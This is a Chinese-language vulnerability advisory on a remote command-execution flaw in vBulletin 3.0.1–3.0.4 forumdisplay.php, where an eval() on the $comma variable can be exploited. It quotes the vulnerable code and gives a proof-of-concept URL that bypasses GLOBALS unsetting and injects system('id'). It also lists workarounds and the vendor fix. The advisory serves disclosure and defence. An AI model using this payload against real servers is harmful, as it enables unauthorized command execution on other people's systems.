发布日期：2005-02-13
更新日期：2005-02-21

受影响系统：

VBulletin VBulletin 3.0.4
VBulletin VBulletin 3.0.3
VBulletin VBulletin 3.0.2
VBulletin VBulletin 3.0.1

不受影响系统：

VBulletin VBulletin 3.0.6
VBulletin VBulletin 3.0.5

描述：

---

BUGTRAQ  ID: 12542

vBulletin Forum是一款基于PHP的WEB论坛程序。

vBulletin forumdisplay.php脚本存在安全问题，远程攻击者可以利用这个漏洞以进程权限执行任意命令。

问题代码如下：

#############################################################
if ($vboptions['showforumusers'])
{
    .
    .
    .
    .

if ($bbuserinfo['userid'])
{
    .
    .
    .
    .
    $comma = ', ';
  }
.
.
.
.
while ($loggedin = $DB_site->fetch_array($forumusers))
{
    .
    .
    .
    eval('$activeusers .= "' . $comma . fetch_template('forumdisplay_loggedinuser') . \
'";');     <<==== (Vuln)  $comma = ', ';
    .
    .
  }
.
.
}

#############################################################

在当管理员设置showforumusers为ON，magic_quotes_gpc设置为OFF的情况下，攻击者可通过设置secret array为GLOBALS[]=1绕过init.php脚本中的unset($GLOBALS["$_arrykey"])代码，以WEB进程权限执行任意命令。

<*来源：al3ndaleeb （al3ndaleeb@uk2.net）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110840807415315&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 在if ($vboptions['showforumusers'])前设置：
  $comma = '';

* 在vbulletin选项中禁用showforumusers.

厂商补丁：

VBulletin
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.vbulletin.com/

浏览次数：5020
严重程度：0（网友投票）